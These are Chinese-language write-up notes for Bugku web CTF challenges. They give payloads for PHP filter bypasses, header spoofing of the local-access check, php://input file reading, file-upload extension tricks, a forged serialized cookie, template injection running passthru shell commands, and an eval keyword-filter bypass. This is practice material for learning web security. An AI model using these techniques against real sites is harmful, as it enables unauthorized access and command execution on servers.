1.Bugku刷题
字符?正则?
wp
审计代码。
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
//preg_match() 执行匹配正则表达式
//trim() 函数移除字符串两侧的空白字符或其他预定义字符
//
if( $IM ){ 
  die('key is: '.$key);
}
①/key.key.{4,7}key:/./(.key)[a-z][[:punct:]]/i
/xxx/i 是PHP或Perl一类的语言中的正则表达式,其中xxx表示真正的正则表达式本身,而后面的i表示ignoreCase,即忽略大小写的意思。
②key.key.{4,7}key:/./(.key)[a-z][[:punct:]]

图来自wp
构造payload
?id=keyaakeyaaaakey:/a/akeya:
程序员本地网站
要求本地访问,那就改Referer头或X-Forwarded-For头即可。
MD5

1-2
试了一下,a是get参数。既然题目是md5碰撞,那就直接输入一个碰撞值即可。

1-3
各种绕过哟

1-4
绕就完事了,sha1函数不能处理数组。
?id=margin&uname[]=1
passwd[]=2
file_get_contents
看到file_get_contents函数马上联想到php://input伪函数。
构造payload
?ac=flag&fn=php://input
flag
需要管理员
御剑扫一下,扫出robots.txt,访问一下。

1-5
访问/resusl.php。

1-6
要提交get参数。弱口令爆破一下。
?x=admin
文件上传
文件头Content-Type: multipart/form-data中任意将一个字母改大写,文件后缀名改为php4,类型改为对应的image/jpeg。
文件包含2
直接把get参数改为/flag即可。
这道题到底有啥意思是呢?
点login咋没反应
提示在源码中。

1-7
访问,得到源码。

1-8
反序列化注入,写py脚本获得序列化payload。
<?php
$KEY='ctf.bugku.com'; 
echo serialize($KEY)
?>
//s:13:"ctf.bugku.com";
加进cookie里。

1-9
聪明的php
随便传一个参数先。

1-10
看提示,是模板漏洞。尝试一下{7*7},发现可以运算。

1-11
代码中过滤了很多函数,只能是找没被过滤的来注入。例如passthru。
构造payload
?file={passthru("ls")}

1-12
1-
可以正常执行,但是根目录下无flag文件,但有一个 _20477文件,打开看看。
此处要注意cat命令被过滤掉了,所以要用其他具有输出功能的命令。
?file={passthru("more /_20477")}
//Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读。
闪电十六鞭
知识点:可变变量,短标签。
wp
这道题的考查点就是对php代码的审计能力。
    error_reporting(0);
//关闭报错
    require __DIR__.'/flag.php';
    $exam = 'return\''.sha1(time()).'\';';
    if (!isset($_GET['flag'])) {
//flag参数是否设置
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
//flag的长度应与$exam相等,为49 
//$exam="return'sha1(time())';",其中,sha1(time())为哈希加密,结果长度为40,所以 strlen($exam))=49
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
//不能出现以上关键词
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }
    echo '<hr>';
    highlight_file(__FILE__);
构造payload
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
//flag被过滤了,所以要拆开来传入。
//并非是要通过if判断,而是利用eval函数来直接输出变量$flag。
//<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>。
//eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
//$$a为可变变量,即$$a=$flag。